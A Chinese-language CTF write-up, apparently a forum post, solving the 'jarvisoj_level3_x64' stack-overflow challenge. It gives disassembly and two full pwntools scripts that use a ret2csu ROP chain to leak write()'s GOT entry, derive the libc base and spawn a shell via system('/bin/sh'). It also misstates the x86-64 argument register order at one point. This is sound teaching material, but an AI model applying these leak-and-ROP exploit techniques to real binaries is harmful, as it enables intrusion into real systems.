题目《jarvisoj_level3_x64》 来源于BUUCTF
解题环境我设置在本地,方便演示
使用工具探测可执行文件的相关信息得知只有NX开启其他保护未开启,并且是64位动态链接,所以这种情况对于新手来说友好很多
由于可执行文件本身体积不大,所以我选择使用objdump工具对其进行反汇编处理,且关键的程序逻辑反汇编信息如下:
[Asm] 纯文本查看 复制代码 00000000004005e6 <vulnerable_function>:
4005e6: 55 push rbp
4005e7: 48 89 e5 mov rbp,rsp
4005ea: 48 83 c4 80 add rsp,0xffffffffffffff80
4005ee: ba 07 00 00 00 mov edx,0x7
4005f3: be d4 06 40 00 mov esi,0x4006d4
4005f8: bf 01 00 00 00 mov edi,0x1
4005fd: e8 ae fe ff ff call 4004b0 <write@plt>
400602: 48 8d 45 80 lea rax,[rbp-0x80]
400606: ba 00 02 00 00 mov edx,0x200
40060b: 48 89 c6 mov rsi,rax
40060e: bf 00 00 00 00 mov edi,0x0
400613: e8 a8 fe ff ff call 4004c0 <read@plt>
400618: c9 leave
400619: c3 ret
000000000040061a <main>:
40061a: 55 push rbp
40061b: 48 89 e5 mov rbp,rsp
40061e: 48 83 ec 10 sub rsp,0x10
400622: 89 7d fc mov DWORD PTR [rbp-0x4],edi
400625: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
400629: b8 00 00 00 00 mov eax,0x0
40062e: e8 b3 ff ff ff call 4005e6 <vulnerable_function>
400633: ba 0e 00 00 00 mov edx,0xe
400638: be dc 06 40 00 mov esi,0x4006dc
40063d: bf 01 00 00 00 mov edi,0x1
400642: e8 69 fe ff ff call 4004b0 <write@plt>
400647: c9 leave
400648: c3 ret
400649: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
从0x400602这个位置可以看出此处有一个栈溢出可以进行利用,所以自然而然想从程序中寻找后门函数,但经过静态分析发现并没有,对于新手来说,如果没有后门函数,那么可以尝试泄露libc基址然后二次利用调用system()函数
于是开始寻找能够泄露某个API函数运行地址的位置,在程序主要逻辑反汇编信息中其实就只有两个函数write和read,通过搜索得知write函数接受的参数:ssize_t write(int fd, const void *buf, size_t count);关键的地方在于第二个参数buf
它是一个数据缓冲区指针,指向内存中存放待写入数据的位置,也就是说如果把某个已经解析的函数GOT表地址放到第二个参数中,就可以通过write()来泄露出运行地址了!然而又发现调用write()前传入的参数是硬编码的,不是从栈
传递。但利用栈溢出可以实现ROP链,ROP链则可以实现我们的想法。
使用readelf工具查看got表:(在利用GOT地址时需要注意该函数在漏洞发生时是否被解析过,否则利用时只会读取到延迟绑定机制里的PLT桩代码,不过要论如何判断,作为新手的我只会在代码层面判断有没有被调用过·,如果有更加本质的方法希望读者可以回帖交流交流,谢谢咯)
得知write()的GOT地址是0x600a58
根据System V ABI调用约定,第1,2,3个参数使用rsi,rdi,rdx寄存器进行传递,那么ROP链中需要控制rsi,rdi,rdx寄存器
使用ROPgadget工具探测关于这三个寄存器的gadget:
此时发现没有关于rdx寄存器的直接gadget,所以还需静态分析找出间接控制rdx寄存器的gadget,通过静态分析发现程序中有这样一个函数:
[Asm] 纯文本查看 复制代码 0000000000400650 <__libc_csu_init>:
400650: 41 57 push r15
400652: 41 89 ff mov r15d,edi
400655: 41 56 push r14
400657: 49 89 f6 mov r14,rsi
40065a: 41 55 push r13
40065c: 49 89 d5 mov r13,rdx
40065f: 41 54 push r12
400661: 4c 8d 25 d8 01 20 00 lea r12,[rip+0x2001d8] # 600840 <__frame_dummy_init_array_entry>
400668: 55 push rbp
400669: 48 8d 2d d8 01 20 00 lea rbp,[rip+0x2001d8] # 600848 <__do_global_dtors_aux_fini_array_entry>
400670: 53 push rbx
400671: 4c 29 e5 sub rbp,r12
400674: 31 db xor ebx,ebx
400676: 48 c1 fd 03 sar rbp,0x3
40067a: 48 83 ec 08 sub rsp,0x8
40067e: e8 fd fd ff ff call 400480 <_init>
400683: 48 85 ed test rbp,rbp
400686: 74 1e je 4006a6 <__libc_csu_init+0x56>
400688: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
40068f: 00
400690: 4c 89 ea mov rdx,r13
400693: 4c 89 f6 mov rsi,r14
400696: 44 89 ff mov edi,r15d
400699: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40069d: 48 83 c3 01 add rbx,0x1
4006a1: 48 39 eb cmp rbx,rbp
4006a4: 75 ea jne 400690 <__libc_csu_init+0x40>
4006a6: 48 83 c4 08 add rsp,0x8
4006aa: 5b pop rbx
4006ab: 5d pop rbp
4006ac: 41 5c pop r12
4006ae: 41 5d pop r13
4006b0: 41 5e pop r14
4006b2: 41 5f pop r15
4006b4: c3 ret
4006b5: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
4006bc: 00 00 00 00
通过函数名就知道这里有个ret2csu知识点,这里是整个ROP链的关键,只要合理构造paylaod,从0x4006aa这里就可以劫持控制流
泄露write()运行地址的payload及完整泄露write()函数地址阶段的脚本如下,主要是要使栈指针对齐:
[Python] 纯文本查看 复制代码 from pwn import *
p = process("./level3")
csu_addr = 0x4006aa
control_addr = 0x400690
write_got_addr = 0x600a58
p.recvline()
payload = 0x88 * b'a'
payload += p64(csu_addr)
payload += p64(0)
payload += p64(1)
payload += p64(write_got_addr)
payload += p64(8)
payload += p64(write_got_addr)
payload += p64(1)
payload += p64(control_addr)
p.send(payload)
leak = p.recv()
write_addr = u64(leak)
print("write函数真实运行地址:" + str(hex(write_addr)))
p.interactive()
(这里有个细节,p.recvline()是为了去掉程序运行时的提示语,否则会干扰后面接收运行地址的方法)
ret2csu关键的地方其实是在里:
[Asm] 纯文本查看 复制代码 400690: 4c 89 ea mov rdx,r13
400693: 4c 89 f6 mov rsi,r14
400696: 44 89 ff mov edi,r15d
400699: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40069d: 48 83 c3 01 add rbx,0x1
4006a1: 48 39 eb cmp rbx,rbp
4006a4: 75 ea jne 400690 <__libc_csu_init+0x40>
4006a6: 48 83 c4 08 add rsp,0x8
4006aa: 5b pop rbx
4006ab: 5d pop rbp
4006ac: 41 5c pop r12
4006ae: 41 5d pop r13
4006b0: 41 5e pop r14
4006b2: 41 5f pop r15
4006b4: c3 ret
这里可以知道如果rbx,rbp的值处理不恰当那么就会一直循环直到崩溃,所以在面对下面的一串pop中要合理构造payload
获得实际运行地址后,因为函数在库的偏移是固定的,只要知道这个偏移量那么就可以间接得出libc的加载基址(libc = leak - offset)
关于函数在库的偏移,其实是有门道的,不同目标主机上linux系统中的libc的版本都可能不同,更何况还会有些补丁同样会影响偏移量,不过这是CTFpwn的简单阶段,一般都会给出对应的libc版本,况且我还没有能力遇到呢
因此二次利用的payload及脚本代码示例如下:(我个人认为的难点其实是在栈对齐,尤其是调用system()这个函数的时候,需要保证rsp寄存器满足16字节对齐,原因简单来说是函数内部使用了sse机制)
[Python] 纯文本查看 复制代码 from pwn import *
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
p = process("./level3")
system_offset = libc.symbols["system"]
write_offset = libc.symbols["write"]
binstr_addr_offset = next(libc.search(b"/bin/sh"))
print("system函数偏移:"+str(hex(system_offset)))
print("write函数偏移:"+str(hex(write_offset)))
print("/bin/sh offset:"+str(hex(binstr_addr_offset)))
csu_addr = 0x4006aa
control_addr = 0x400690
write_got_addr = 0x600a58
vuln_addr = 0x4005e6
control_rdi_addr = 0x4006b3
ret_addr = 0x4006cc
payload = 0x88 * b'a'
payload += p64(csu_addr)
payload += p64(0)
payload += p64(1)
payload += p64(write_got_addr)
payload += p64(8)
payload += p64(write_got_addr)
payload += p64(1)
payload += p64(control_addr)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += 32 * b'g'
payload += p64(vuln_addr)
p.sendline(payload)
p.recvline()
raw = p.recvuntil(b"I")
leak = raw[:8]
write_addr = u64(leak)
print("write函数真实运行地址:" + str(hex(write_addr)))
libc_addr = write_addr - write_offset
system_addr = libc_addr + system_offset
binstr_addr = binstr_addr_offset + libc_addr
print("libc_addr:"+str(hex(libc_addr)))
print("system_addr:"+str(hex(system_addr)))
payload2 = 0x88 * b'a'
payload2 += p64(ret_addr)
payload2 += p64(control_rdi_addr)
payload2 += p64(binstr_addr)
payload2 += p64(system_addr)
p.sendline(payload2)
p.interactive()
运行脚本后发现能得到shell:
初次之外其实我想到了还有另一种解法,只是更绕了些。使用readelf工具查看节区时:
发现.data与.bss节是可写可读的,字节宽度也刚好,可以将"/bin/sh"或者其他给system()的参数写进去,不过这显然更绕了
结语:我个人认为这道题对我的价值还蛮大,尤其是在处理栈对齐的过程中更上一层楼。以上是给需要的读者一个参考亦是我对解题后的总结,新手撰写,许多地方不专业,还请多多回帖指正交流,谢谢大家!
|